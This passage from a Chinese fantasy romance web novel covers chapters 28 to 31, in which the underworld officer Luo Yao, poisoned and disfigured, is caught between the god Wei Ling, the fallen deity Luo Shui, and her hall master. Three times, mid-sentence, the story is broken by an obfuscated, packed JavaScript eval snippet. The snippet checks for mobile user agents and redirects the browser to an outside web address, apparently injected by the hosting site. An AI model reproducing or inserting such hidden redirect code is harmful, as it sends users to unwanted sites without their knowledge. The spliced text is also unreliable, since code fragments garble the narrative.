卫凌还能不知道她什么尿性,一张口就猜到她必有所隐瞒,来不及细问,就发现洛遥趁机离开,于是抓紧跟过去。 洛遥遭此横祸,一个人离开还不知道会遇上什么。 “她是吃了老板店里不该吃的东西收到了污染,只有纯正的神明骨血才能净化污浊。” 洛水在卫凌背后急急喊道,也不知他有没有听进去。 28. 第 28 章 洛遥几乎是落荒而逃,她完全没想到卫凌会和女人相熟,看卫凌的样子貌似寻她许久,且态度完全不像是要拿罪的样子。 “洛遥。” 卫凌很快追了上来,洛遥虽然清醒许多,对他的警惕未减半分,“追我做什么,她不是已经把事情全部告诉你了吗?” 洛遥的敌意让他更觉事情不妙,“洛水是吸收众生欲念化作的河神,也唯有她能净化世间,因此从她出生神界便派我看管。” “她行事不计后果,若是有得罪你的地方,我向她给你赔罪。” 她不禁讥讽,“代她赔罪?你赔得了吗?你真以为西宁的一切和她无关?我的脸变成这样就是因为她给我喝了不喝的东西。” “......怎么可能?!”洛遥眼中讽刺更深,像是一道天堑将两人越隔越远,“她为什么要这么做?” “她想要我最为筹码,威胁殿主交出神骨。” 卫凌很快理清了罪魁祸首,“难怪百年前鬼界空降一位修得正果的凡人,原来是夺了他人的神骨。” “卑劣无耻,落到我手里,必不会放过他,就算他是神界死殿之主,也要受九天神雷鞭笞。” 而洛遥始终保持冷漠,“那洛水呢?” 卫凌保证,“拿回神骨之后,我会带她回去严加看管。” 严加看管?倒不如说,送她回神界逍遥法外。 这个世界从来没有变过,权利之上的人依旧是可以为所欲为的,过于执着的一直是她,是她从来没有是适应过世界的规则。 想通之后,心里忽然平静。 “还有事吗?没事我就离开了。” “等等,你身上的东西必须用神血净化。”卫凌二话不说,用指尖法光割断经脉,洛遥就算阻止也慢了一步,“无功不受禄,我与你并无相欠,不敢受你神血。” 急于撇清关系的态度过于明显,根本不需要过多激烈的言行,就轻易将他心里戳个窟窿。 凡人最是多情,也更无情,性情之变幻摧枯神志,一直以来都是神最忌讳的存在,神对于人的压制不是源于无情,而是畏惧。 人心不似神能够参透的存在。 而如今卫凌尝受到了这份忌讳的苦楚,可是他知道自从选择之后根本没有退路。 他用法术困住了洛遥。 “你做什么,我才不接受你的好处,凭什么你要强加给我!” 洛遥顽固反抗,身体未能挣脱半分,滚烫的铁锈血腥味充斥口腔,味道实在算不上好,为了避免她吐出来,卫凌还将她的嘴一并封住。 直到她完全吞进去才松开禁制,有股滚烫的力量融合到了身体之中,在血脉中冲撞,脸上如同火烧一般似乎也被这滚烫的热度灼烧。 等平静之后,洛遥小心翼翼摸了上去,触碰到了依旧是凹凸不平的皮肤完全没有半点变化,心里那点隐秘的期待瞬间变成了难堪,原本无处躲藏的自尊几乎要马上崩碎。 “没想到神君这么无聊,戏耍我好玩吗?” 她太可悲了为何还要对别人抱有期待呢? 被她放鸽子,戏耍一番高高在上的神君,重新报复回来难道不是应该的吗? 洛遥忽然笑了,“神君气性还真是大,还记着当初的仇呢?一报还一报,今日我和你互不相欠了。” “怎么可能会这样——”卫凌完全没预料到这个结果,洛遥脸上的笑越是灿烂越是心惊胆战,他想解释,可又那么苍白无力。 “...我没有想耍你——” 没说完的话被直接打断,“不重要了。” 她转身离开,在卫凌依旧不依不饶时淡淡道:“洛遥前来西宁抓捕为祸人间之首,若你还要跟过来,待我召齐阴兵,别怪我不念旧情。” 他的脚步被钉在了原地,眼睁睁看着眼前的背影离开,几乎手足无措。 “欲望迷惑心智,她吃了酒楼里的东西,那东西会放大内心的罪恶和欲望,若有一分埋怨存在也会放大十分,你现在过去只会激化矛盾。” 锐利的眼眸逼视而来,“你不是说神血能够救她,你骗我!” “我没有骗你。”洛水不慌不忙解释,“神界禁情数千年,想必你比我清楚。” “情爱滋生私欲,私欲必会造成秩序的崩坏,而神掌握的力量过强,动辄毁天灭地,万年前神界几乎崩坏正因为此。” “而人心易变,生命脆弱,生命又如何忍受蛮长时间的痛苦?” “他们必会破坏六道轮回的秩序,天地法制就此崩坏。” 卫凌:“这和我的神血有什么关系?” 洛水天真地笑了,“那是因为你堕落了,早就已经染上了私欲,私欲越重,神血原本的净化能力便随之减弱,但我没想到你的血竟然一点缓解作用都没有。” “......”一点作用都没有! “为什么你知道这么多?” 她的眼眸是新生的稚嫩,面容中带着淌过时间的苍茫,相互矛盾杂糅的气质看起来格外复杂。 “虽然我才新生两百年,但是已经在洛水中存在万年了,不对,或许更久吧。” “你难道不好奇吗,为什么我会从洛水中诞生。” 洛水是神界净水,净化天地万物,在神界不知流淌了多久,早在千年前,神界便发现洛水逐渐污浊,而在此之后,神界禁令愈发森严。 他心中有了不祥的预感,“...因为动了私欲的神越来越多。” 洛水开心笑了,“你答对了。” “洛水净化天地万物,自然也包括神,而神也只不过是拥有更强力量的天人而已,若不恪守自身则与凡人无异。” “已经数万年,世间欲念不减反增,洛水已经已经净化不了,于是我诞生了。” “我与洛水分离,世间欲念由我封锁,而洛水重归干净,只有这样,神才不会渐渐堕落成魔。” “我诞生是听从了你们的乞求啊!” 她的笑意逐渐暗淡,“可是很抱歉,我的神骨消失了,我已经快控制不住身上的世间欲念了。” 她的声音逐渐淡了,“也许一切消亡,才是新生的开始吧!” “发生西宁的事是因为你控制不住自己了吗?” 她摇摇头,又恢复了天真的模样,半点也没有世界即将毁灭的担忧,“我保证除了接受主动向我供奉的祭品,其他的事情,没有参与。” 说着犹豫了下,“当然还有......洛遥变成那副样子,确实是因为我给她灌了酒。” 还没从过量的冲击中缓过神,就被她一句话气得心梗,“你为什么要这么做?” “欲念本就是最肮脏的东西,在意志薄弱的凡人身上更难控制,她不相信我就证明给她看了。”她神情无辜,“她到西宁不就是为了一个真相,不纵身欲海之中,怎么能发现呢?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044788|145983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你知不知道这样做还害死她!” 洛水被吼得心虚,“...我也只是赌气嘛!况且她只要在我身边,拿回神骨后,我会帮她净化干净的,只是现在我......” 卫凌刚觉得在他面前的是个远古神,甚至可能比他存在更久,就被洛水的天真气得发抖。 他想洛水是不是因为实在没脑子,才能被一个凡人骗了神骨。 他的想法似乎被洛水察觉,“不要想着笑话我,你刚才不是急着给一个凡魂喂血吗?” 谈话就此僵滞。 *** 洛遥回去的路上遇到了会和的阴兵,赶紧用面纱罩住脸,才走了过去,清点了一遍好在一人没少,“你们没事就好。” 十二也觉得困惑,“那些鬼兵,只是拖着我们,一旦我们猛攻就跑,我们离开便又缠上,大人......没事吧?” 洛遥不知为何盖上了面纱,眼神也变得闪躲,洛遥只回答了句‘没事’,就把所有阴兵收了起来。 甚至不敢看十一、十二以外的眼神。 王心莲也追上了她,她没有十一十二那般好糊弄,当即发现了洛遥的不对劲,“大人为何带着面纱?” 此处没有风沙,洛遥也不是喜欢被外物所束缚的性子,唯一的可能就是她受伤了。 “连我也要隐瞒吗?还是大人觉得我不够信任?” 洛遥顿了下,揭下面纱一角,“只是怕吓到你。” 她的半张脸生满了金黄的恶疮,疙疙瘩瘩的皮肤让王心莲瞬间想到了宝石坊里金蟾蜍,“怎么和那只癞蛤蟆的皮肤一样,大人你是中毒了?” 洛遥苦笑,“差不多吧。” 她想事情经过对王心莲复述了一遍,至于卫凌给她喂血那段直接跳过,被王心莲知道她又被耍了一顿恐怕更生气。 “我早知道那个邪里邪气的女人不是个好东西,嘴上说着和那两个老板没有关系,谁知道他们是不是一伙的。” 洛遥只是以一种平淡的语气复述了全过程,王心莲就已经勃然大怒,恨不得马上冲回去报仇,听她义愤填膺的语气,心里那股翻滚的怒气忽然平歇了不少。 “一个喂养邪物,一个炼制尸油,还有一个抽人脊骨,哪有一个是清白的。”王心莲想了想,心里又按耐不住,“不行,不能让大人平白吃了大亏,那个女人狡猾得很,我这次说什么也不能放她离开。” “别去。”洛遥阻住她,生怕她直接冲过去对上卫凌,“对手越是狡猾,越是不能莽撞,我们从长计议。” 王心莲看她的样子便觉得惭愧,“是我太冲动了,现在最紧要的是帮大人治疗......我真是没用,没护好大人。” “是我低估了西宁的情况,你不必自责,”她不禁笑道,“我现在倒是和地府那些魑魅魍魉吓人的模样不差上下了,我看以后谁敢觉得我好欺负。” “大人。不要说傻话,既然是毒就一定有解法,我们可以去求殿主,说不定殿主有法子呢!” 王心莲一直觉得洛遥好看,更觉得她时而透露的纯真不管是在地府还是在人间都难得一见,太过不同了,看过一眼的人,便很难忘记。 她想那些地府的东西恐怕并不是想欺负她,而是低级恶俗的搭讪手段而已,只不过洛遥从来不知。 误以为这是别人对自己的欺负。 她有没有想过自己或许比她想得更受欢迎呢! 29. 第 29 章 “殿主如此器重大人,不可能放任不管,我们现在快马加鞭赶过去说不定能来得及。” 王心莲着急催促,不敢耽误片刻,可洛遥只是重新戴上了面纱,“等等,我们把那两个老板带上。” 好不容易抓住的罪魁祸首怎么能轻易放过,狡兔三窟这次放走,还不知道下次抓住是猴年马月。 想到那个邪气的女神,洛遥又提醒了一句,“我们不要和那个女人对上,浪费时间,抓住那两个店老板就走,一定要小心行事,别被缠上。” 王心莲气愤道:“那个女人虽然伤不了我,但实在狡猾,每次用虚虚实实的幻境迷惑人,好几次关键时刻我都没能赶到大人身边。” “这不是你的错,一个神就算失去了神骨,实力也不容小觑。况且西宁危机甚多,远不是我们所能掌控的,能做到自保已经足够。” 王心莲自诩的武力并没有帮上大忙,望着头上裹紧面纱比往日更加沉默的洛遥心中愧疚更甚,跟在洛遥身后半步也不敢落下。 直到现在洛遥也不知道自己丑到什么地步,她没有勇气站在镜子前。 她一直知道自己长相不差,虽从没想过用相貌作为自己牟利的手段,但骤然变得面目全非说不失落是假的。 她不确定这东西会不会跟着她一辈子,或者继续恶化下去。 到那个时候自己会变成什么模样,又怎么去面对殿主大人,他会对自己这副模样失望吗? 两人很快到了珍味楼,不过洛遥很快发现了不对,原本人流不断的珍味楼,竟然大门紧闭,只有挂在房檐的红灯笼在摇摇晃晃,留下凄凄惨惨的光影。 太安静了。 两人从后门绕过去,潜入进去融入黑暗之中,浓重的血腥味在空气中飘荡,循着味道逐渐靠近,远处灯光下有人倒在血泊中正是珍味楼和宝石坊的老板,旁边背上一个血糊糊大洞的金蟾蜍已经毫无声息。 “是谁下手这么快?”王心莲惊道。 树叶在微风中轻轻飘动,洛遥一把捂住王心莲的嘴躲在灌木盆景后面,两道人影瞬间出现在血泊旁边。 是卫凌和洛水。 一言不合就地正法倒是符合卫凌的做法,但最宝贵的线索就这样断了,想要细查更加困难。 她不知道自己的手什么时候放了下来,王心莲拍了拍她的背才拉回思绪,对着她做出口型,“西宁的事情和女神洛水有关,卫凌会不会为了包庇天庭神官,选择杀人灭口。” “这样案子就能直接推到这两人身上?” 王心莲的猜测不无可能,西宁的事情,洛遥始终觉得不可能有两个凡人就能掀起如此腥风血浪,背后或许有人指使。 才能把西宁的百姓,失踪的游魂,堕落的神明全部卷入其中。 但这人的目的是什么呢? 她想不明白。 隔着夜色,她看不清两人的表情,不知道卫凌和洛水说了什么,但在靠近一点恐怕会让两人发现,只能在此处静观其变。 不一会儿,洛水离开了现场,只有卫凌一人留在原地,洛遥伺机而动,却发现卫凌慢慢靠近灌木盆景方向,两人顿时低下身体,完全不敢暴露。 风声又起,树叶哗哗,空气中飘来一声呢喃,“原来是起风了。” 等洛遥再次看过去时,卫凌的身影已经消失不见,为了保险,洛遥先扔出一枚石子到旁边草丛,确定没有动静,才和王心莲走出来。 两具尸体没有搬动的痕迹,血液呈流动状态应该刚死不久,两人的致命伤都在心口,是个圆形的黑洞,这种特殊的伤口,让她瞬间想到了卫凌的红缨枪。 王心莲同样发现了这点,“卫神君的武器就是一把红缨枪吧,和伤口......展现的痕迹还真是相似。” “也许只是背后的人故意为之也说不定。” 察觉洛遥神情不对,王心莲连忙附和,“也对...谁会明晃晃的告诉别人人是我杀的。” 洛遥蹲在地上有检查了一番,并没有发现其他线索,王心莲也是一无所获,正准备先行离开,背后声音忽然乍现。 “洛遥。” 两人顿时僵住,齐齐转过身。 哪还能不明白卫凌早发现了她们就等着她们自己主动出来,所谓境界压制大概如此,直到卫凌出现两人也没感知到。 “...你还好吗?” 洛遥没有回应,裹紧的面纱只留一双黑沉的眼睛,相顾无言,卫凌率先败下阵来,“我刚才也是为了调查两人死因而来。” 他顿了下,“这两人齐齐身亡,想必背后之人是怕会暴露自己的踪迹。上面的伤口......与我的红缨枪极为相似,这人是为了拉我下水。” 卫凌气得咬牙,但是让他心慌的是洛遥的镇定,一双眼睛看不出任何情绪,没有生气,没有质疑,看他像是完全不相干的陌生人。 仅仅是这样一个眼神,卫凌觉得自己说的每一句都那么苍白无力。 “你们地府不是有勾魂之术,能不能查到两人魂魄所在。” 刚去世的生魂,能凭着最后一丝生气寻找踪迹,洛遥蹲在尸体身上扯下一根头发,默念:“追问阴魂,所在何处,黄泉路远,莫错行踪。” 发丝瞬间活过来,从掌心飞起,绕着两具尸体没有目的的飞了几圈最后燃成灰烬。 王心莲:“...这是什么意思?” 洛遥:“魂飞魄散,无法追寻。” 卫凌:“......” 好一个祸水东引,铁板钉钉的证据在前,洛遥怎么可能不怀疑。 “洛水应该对你们神界很重要吧,吸收着神界乃至万物的秽念,她绝对不能出事?” “...你觉得我在包庇她?”卫凌深吸一口气,“事发之时,她在我旁边,不可能来得及在我眼皮子底下动手。” 从卫凌的立场出发,她没办法辨别这句话的真假。 “争论是没有结果的,在现场的每个人都有嫌疑,我看还是各自调查,各凭本事。”洛遥不欲多说,转身之际又被叫住。 “洛水说,她拿回神骨之后,就能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093693|145983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帮你清除身体的毒——” “不用说了,不需要。”融进身体的神血似乎在脸上沸腾,洛遥感觉整张脸都要烧起来,迫切地想要离开,脸上火辣的疼意痛得她想颤抖。 “你怎么了,是毒让你难受了吗?”卫凌发现她的手指在微微颤抖,“洛水说是你的殿主偷了她的神骨,只要拿回神骨,一定可以治好你的。” 洛遥身体微微摇晃,几乎无法挺直脊背,王心莲发现后率先卫凌一步扶住她,并警惕地朝后退了几步,警告他不要靠近。 不过是几步之遥,却如同天堑之远,看着洛遥痛苦的样子,卫凌神情苍白,喉中涌起干涩之意,被无形的手紧紧制扼,几乎吐不出一个字。 “你是想从我这套殿主的消息?还是你准备拿我引殿主出来?” “不是,我没有这样想。” “不重要的,重要的是你现在认定是殿主夺了洛水的神骨,那你见到殿主之后,是要直接拿走他的脊骨吗?那么请问证据呢?” 她喘口了口气继续道:“从头到尾都是洛水的一派之言,有谁能证明当初发生的事情?” “殿主那里我会自己去问的,你想从我这里套消息绝对不可能。” 诚心来说,殿主对她帮助甚多,她不应该因为一点猜测就背刺,投敌曾经伤害自己的阵营。 天庭和地府本就是井水不犯河水,各自维护自己的利益,她还没傻到胳膊肘往外拐。 “我们走。” 她拉着王心莲离开。 “等等......” 洛遥充满质疑的眼神仿佛一把利刃插在心口,刺痛难忍却始终不能拔出,“让我看看你的脸,或许我有办法的,你现在离开出事了怎么办?” 他知道刚才洛遥可能是毒发了,此时绝对不能就这样放她离开。 质疑的眼神顿然尖锐,充满攻击性,“不劳你费心,让开。” 卫凌打定主意不让,“抱歉。” 他倏然使出法术困住洛遥,随后便拿出红缨枪抵挡王心莲的攻击。 “当初真是看错了你,没想到你们神界也是三面三刀之辈,想要从我手里带走洛大人绝对不可能。” 王心莲并不算正儿八经的神,生前又是不通武艺的闺阁女子,虽有一身血性,但对上活了万年又身经百战的神将,几招之后便败下阵,被枪尖抵在脖前。 “我不想和你打,更不可能伤害你家大人,等我治好你家大人必会完璧归赵。” 可转身,洛遥的方向已经空无一人。 有人来过—— 洛遥身中剧毒,不可能挣脱他的法术,唯一的可能性就是有人趁他和王心莲打斗时,趁机把人带走,能在他眼皮子底下做到,实力不可小觑。 王心莲见他面色剧变,笑了,“看你实力也不过如此,人被带走了都不知道还怎么保护我家大人。” “你知道是谁带走的?” 王心莲摊手,“我只顾着和你打架,哪知道是谁?” 卫凌气急,迅速飞身追去。 30. 第 30 章 天地瞬变,转眼已是一片荒野之中,素白儒袍的男子站在眼前,长身玉立,清雅无双。 “殿主。” 如水的眉眼骤然晕开笑意,似湖水泛起涟漪,又在见到她时忽然止住,“怎么把自己弄成这副模样?” 遮面的轻纱不知道什么时候掉下,在对方清澈的眼眸中,洛遥看见了一张形容可怖的脸,慌张拾起面纱重新遮住,“...不小心中了毒。” “莫害怕,地府中什么魑魅魍魉没有,你难道有他们恐怖?” 他面色如常,没有一丝洛遥担忧的嫌恶,语气轻柔,是让人容易溺毙的温柔,“让我看看。” 洛遥的动作就这样僵住,迟疑片刻才把面纱重新揭开,修长的指尖从眼前晃过,滚烫的脸颊倏然被凉意覆盖,她自己都不敢多碰这块疙疙瘩瘩的皮肤,可殿主却把手指放在了上面。 洛遥不知道自己的脸烂没烂,只能祈祷着脸上不流出什么乱七八糟恶心的液体。 “殿主......” 片刻后,男人的手指轻轻放下,“感觉如何?” “...啊?”她才发现自己脸上火辣辣的痛感好了大半,摸上去疙瘩也没有之前鼓胀了,心中顿然感动,“多谢殿主。” 男人的笑意消失染上一丝凝重,“我只是替你压制毒性,你必须尽早找到解药,还有克制情绪,以免激发毒性。” 洛遥苦笑,“多谢殿主关怀,只是...制毒的人被杀了,想找到解药怕是难了。” “怎么回事?” 洛遥将这些天的事情经过复述一遍,包括堕神落水让她引他过来的事情,“我被洛水胁迫,引您过来,是属下该死,殿主一定小心为上,洛水知道您现身,必要对您不利。” “无妨,这不是你能够抗拒的,况且一个堕神就算想杀我也没有那么容易。” 洛遥小心试探,“殿主您是何时到西宁的?” “今日。怎么了?” 他垂眸看来,洛遥不自觉避开,“...没什么,只是我发现西宁之事可能另有主使,并且已经现身,只是希望殿主务必小心。” 男人失笑,“让我小心的话,你已经说了几遍了,我看应该小心的是你,不顾好自己以后还怎么为我效力。” 洛遥的头埋得更低,心里忽然堵得慌,有一个疑问始终梗在心口,或许现在并不是开口的好时机,但是洛遥已经没办法继续憋下去。 “殿主......我” “怎么犹犹豫豫,但说无妨。” 轻柔的嗓音,让洛遥心里那股难受变得更加沸腾,她咬咬牙硬着头皮道:“洛水曾言与一凡人男子相爱,而那凡人男子却负她情意,盗她神骨,从此脱凡入仙,而她口中的男子 ——是您。” “你是觉得我是盗了她的神骨才有今日的成就?” 声音依旧亲和只是带着压人的迫意,雪色锦靴步步紧逼,洛遥垂眸步步后退,直到后背抵在坚硬的石壁上,而男人又重复了一遍刚才的话,“你觉得是我做的?” 质问转而抛向了她,并且夹杂着隐隐暗沉的危险气息,洛遥知道回错一句可能引起男人勃然大怒,又或者是对她的失望。 但洛遥心揪得厉害,不知道真相恐怕永远不得安心,她低声哽咽,“我不知道,所以才来问你,我想知道是你吗?殿主。” 他的声音变得有些冰冷,“你可真是做了一件蠢事,要觉得是我就不应该当面问我,不然恐怕你已经人头落地永远无法开口。” 洛遥笑了,“我知道。” “所以,你为什么还要问?” “您就当我犯蠢吧,”洛遥抬起头,直视男人漆沉的眸子,“人人都说您暴虐无情,可我知道只有铁血手段才能降服地狱恶鬼,不容他们徇私枉法,至少我知道的,您从没有滥杀无辜过。” “在我眼里您不应该是洛水口中的为了目的不择手段的人。” 男人的手指抬起朦胧泪眼,轻轻拭去眼角泪珠,“永远不要因为一个人的表面去相信一个人,你没见过百年前的我怎么知道我是什么模样?” “以后别让我在从你嘴里听到这些傻话了。” 手指已经离开可是眼角却依旧残留那丝冰冷的温度,洛遥连忙称是,不敢再问。 若是殿主真不想说,她也绝不可能撬出话来。 男人背过身去,远方黄沙天际之处,一轮红日中缓缓升起,惊艳的曙光破开黑暗,照耀在他身上,金光浮跃,洛遥此刻才恍惚发觉他其实是个神,不过不知为何落入黄泉,失了神印。 “百年前我确实和洛水有瓜葛。” 她的身体蓦然僵硬,听到男人继续道:“那是我叫董知。” “与洛水相遇的第一面,我以为她只是天真无邪的少女,那时我们确实相处甚佳,直到她趁我睡着之时要取我心脏,她说‘既然爱我为何不能把心给我’。” “我此时才知她不是神女,而是迷惑人心的妖孽,拿着匕首要将我的心剖开时,得一降妖术士说救。” “后来,我听说她继续在引诱凡人剖心自证,便与术士联手,断她神骨,封印妖孽,不想她实力过强,就此逃脱。” “我的机缘便是从此得到,术士的点化以及除妖的功德,一朝飞升。” “我没去神界,只是不想一日被倒打一耙,落下戕害神明的罪行。” “她在我眼里从来都不是神,就算下手除去,我也未有后悔。” 短短时间,洛遥仿佛失去了所有力气,一股热流骤然又涌入身体,不是殿主,不是殿主就好。 洛水本就不是正神,她是世间欲念所化,迷惑人心是她的本能。 这是众生的孽障,终要众生自己承受。 “...那殿主眼下我们该怎么办?” 他转过身,背后的光芒格外刺眼,几乎让洛遥睁不开眼,“她除了给你喂毒,似乎没有做什么伤害你的事情?” “是,或许她以为我命不久矣了吧。” “不,”董知笑容莫测,“也许她是对你感兴趣了。” “感兴趣?”洛遥不理解,“我有什么值得她费心思的。” “你难道不知道洛水无形,女相男身吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14104999|145983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>一道晴天霹雳从里到外将脑袋劈成了浆糊,好久洛遥也没能回神,“女相男身?!!!” 脑海中骤然出现洛水嘴对嘴渡过来的一口酒,脸上刚下去的温度又开始翻滚。 难怪洛水要用这种奇怪的方式灌毒,当时她脑子发蒙没反应过来这是洛水趁机占便宜,现在想想细节处处透着诡异。 跟在她身边的态度也黏黏糊糊,当时她反抗不了,加上洛水是个大美人洛遥也就没有在乎这些细节。 她可真是蠢到家了? 从头到尾被洛水耍得团团转,恐怕被情郎抛弃也是自己扯出的谎言。 她居然信了,跑到殿主面前质问! 洛遥已经抬不起头了。 “凝神,平息静气。”一只手搭在肩膀,“好不容易替你压下的毒,可别再次复发。” 一句提醒让洛遥骤然回神,好像又要被这东西控制。 此毒实在诡异,一旦情绪波动就开始作祟,洛遥已经尽量时时刻刻保持平静了,但刚才确实被惊得不轻,没能控制好,压下情绪之后,脸上的热度也逐渐消散。 “洛水既然无意伤你,便是最好的突破口。” 一把锋利的匕首递到她面前,“我需要你和她周旋,在她分神之际刺入心脏。洛水对我十分警惕,只有你能做到近身,也只有你能完成。” 匕首就在面前,没有递进一分,似乎在等待她的选择,洛遥迟疑伸手,仿佛接过重若千斤的担子,“我真的可以吗?” “我相信你,届时我会跟在你身后及时帮你。” 匕首外鞘花纹朴素,但拔开之后,剑光逼人,上面刻着她认不出的繁复咒印,是把难得的神兵利器,难怪殿主会给她一把这么普通的匕首。 刚要道谢,眼前人影已经消失,地上也只有她一人的脚印,似乎刚才只是错觉而已。 空气波动,有力的怀抱忽然从背后圈住她,“洛遥,你怎么一个人在这里?” 洛遥赶紧收起匕首,挣扎道:“放开我,你来做什么?” “谁带走你,他有伤害你吗?” 卫凌上上下下将她看了一遍,直到洛遥一把推开他,“看见了?我没有受伤。” “那人是谁?” “跟你有什么关系。”洛遥转身离开,不想多说。 “是,死殿之主吗?” 卫凌想不出还有其他人,他对着空气道:“既然来了,阁下为何不敢现身?” “别再猜了殿主大人不在这里。” 见洛遥明显比刚才着急的情绪,卫凌心头涌起涩意,“你就这么维护你的殿主?他是给你灌了什么迷糊汤,让你为他赴汤蹈火在所不辞?” “一点点小恩小惠,就让你肝脑涂地。洛遥你就不知道凡事应该以你的安危为重吗?” “够了,你不用在这里挑拨离间,殿主为人如何不需要你来告诉我。” “哦?那他现在又消失不见,是想要你做什么?” 以往洛遥只当卫凌是个纨绔二世祖,所以没能发现他心细如发的一面,只不过几句推测,就几乎要道出真相。 31. 第 31 章 “我的事情不需要向你汇报吧。” 不知从何时洛遥的每句话都带着尖锐的刺,只要面对他时就变得张扬,将每根刺都刺进心口。 洛遥像以往一样选择了漠视,只是刚走两步手上就缠上了一根红绳,扼止了脚步,“你现在不能走。” 真无聊,堂堂神君也用红绳玩小孩子家家的游戏,凭着根破绳子就想困住她? 她看着卫凌望着自己被困住的手腕,眼底似有一闪而过的惊讶,片刻后星眸中笑意浮现,实在可恨。 她用力一扯,结果,除了皮肉被勒得死死的,根本没有扯断! ....... 什么材质,这么坚韧? 她深吸一口气,克制自己不破口大骂,“你能松开吗?” 卫凌笑容灿烂,“不能。” “......” “你恨我也罢,正如你所说,在现场的人,谁都有嫌疑,为了找到最后的凶手,你还是跟在我身边比较好。” 果然是人善被人欺,除了闭嘴,她半句话也不想说。 定住的脚步被线的那头轻轻一扯,便扯到捏着线头的人身边,她暗戳戳想用匕首割断绳子。 卫凌像是知道她心里的所想,又扯了扯绳子把她拽得更近,“这绳子可珍贵的很,你割断了全天下也找不到第二条。” 不就是根破绳子吗?瞧着不也像是什么神兵利器。 但是卫凌珍重的态度又让她好奇这是不是什么她不知道的法宝,只至于目空一切的神君大人也心疼不已,再三叮嘱她不要破坏。 要是如此,岂不是更要破坏了—— 叫他偏要用这根绳子困她! 没被困住的左手刚摸到了藏在腰间的匕首,低语便至耳际,“这是月老给我的命定姻缘红线,断了你可得负责。” “你怎么把姻缘红线瞎捆人?”手一抖,差点把匕首吓得抖出来。 谁会把自己月老姻缘线随时带在身上啊!那丢了,坏了,岂不是活该,还想她赔一条怎么可能。 不过,这玩意随便都能拴在人身上吗? “你不用这破玩意捆我的手,我也不会想着弄断。” 卫凌也不知何时修炼的脸皮,油盐不进,“不捆住你,转眼人就跑了,那我找谁去。” 走进城中,洛遥被红线牵着的场面实在惹人注目,四周探究的眼神不断看来,被盯得多了浑身都不自在,于是又和卫凌打起了商量,“我真不会跑,就算我跑了,你难道还追不上我。” “再说了,这么多人像看猴耍戏一样盯着,你我都不自在。” 卫凌挑眉,“有什么不自在的,他们想看就看呗,如果你脸皮薄,我也可以提供怀抱让你躲一躲。” “......” 不自在的只有她而已,卫凌大摇大摆的样子,反倒生怕别人看不见似的,或者说是故意在城里溜一圈,还专门逮着往人多的地方走。 西宁是个鱼龙混杂之地,两人的举动很快引起了别人的怀疑,一个男人叫住卫凌,“公子,你牵着这位姑娘,可是准备卖的?” 贼溜溜的眼珠子说话时不停往洛遥身上看,放肆地上下打量,尤其看到胸前起伏目光怎么也移不开,直到宽阔的胸膛忽然挡住视线。 “瞎了你的狗眼,你没看到这是月老红线吗?”卫凌没料到自己会被误会成人贩子,还引来了只恶心的苍蝇,心里怒火中烧。 男人被他吼得发蒙,也起了火气,“谁好人家会捆着姑娘在大街上跑,你这不就是让人看看货色如何吗?” 卫凌再也忍不住,一脚将男人踢飞出去,刚好砸在匆匆而来的府衙捕快身上,几个捕快倒作一团,纷纷拔刀扣住男人,“大胆刁民,竟然敢袭官。” “不是啊,各位大人,是那个男人踢我,才撞到你们的,那个男人还绑住了一位姑娘在街上卖呢?我好心出言相却,却被殴打一顿呐!” 闻言几人看了过去,又朝男人踢了一脚,“胡说八道哪里有人。” 男人所指之地,空荡荡一片,哪还有人。 “...刚才还在那呢?” 几人被戏耍一顿,当即把男人推开,“真是个疯子,今天我们有要事不和你纠缠,再有下次,让你试试诏狱滋味。” 男人在地上滚了几圈,不甘心地朝刚才的方向看去,只见刚才把自己踢飞的男人正笑盈盈地看着他。 “......”什么时候又冒出来的。 “可恶,敢耍我。” 他快速从地上滚起来,刚要朝远去的捕快喊,就听见男人路过他轻声道:“真想进诏狱尽管叫,我包你进去。” “.......” 卫凌自信的样子,竟然让他半点生不出怀疑,除了后背发凉,和他擦过的耳边也是冷飕飕。 只能像冻在原地一样,看着卫凌大摇大摆离开。 对于卫凌的恶劣,洛遥倒是已经习惯,她扯着红线朝卫凌示意,“还绑着,真想又来一个问价的人?” “谁再敢狗叫,我打得她亲娘都不认识。”卫凌不情不愿的解开绑在洛遥那一端的红线,将剩余的线全部缠在自己手上。 洛遥揉着放松的手腕道:“西宁本就是欲念丛生的城池,往来旅客居多,几乎不见出门的女人,我们引人注意是早晚的事情。” 没了惹眼的红线,紧盯的目光果然少了不少,两人潜入人群,跟着捕快走进珍味坊。 这里早就围满了人,最早报官的也是发现珍味楼不对劲的百姓,平时昂贵的价格挡住了他们探望的步伐,而今日珍味坊无人看守,不免引起了他们的好奇心。 